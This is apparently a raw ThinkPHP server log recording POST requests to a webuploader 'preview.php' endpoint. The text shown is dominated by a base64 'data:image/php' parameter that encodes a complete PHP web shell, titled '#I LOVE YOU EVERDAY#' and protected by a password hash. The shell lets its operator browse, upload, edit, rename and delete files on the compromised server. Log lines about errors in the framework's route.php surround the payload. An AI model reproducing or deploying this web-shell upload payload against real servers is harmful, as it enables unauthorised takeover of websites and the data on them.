hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:02+08:00 ] 119.42.146.234 POST 59.110.137.245/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002808s] [吞吐率:356.11req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlP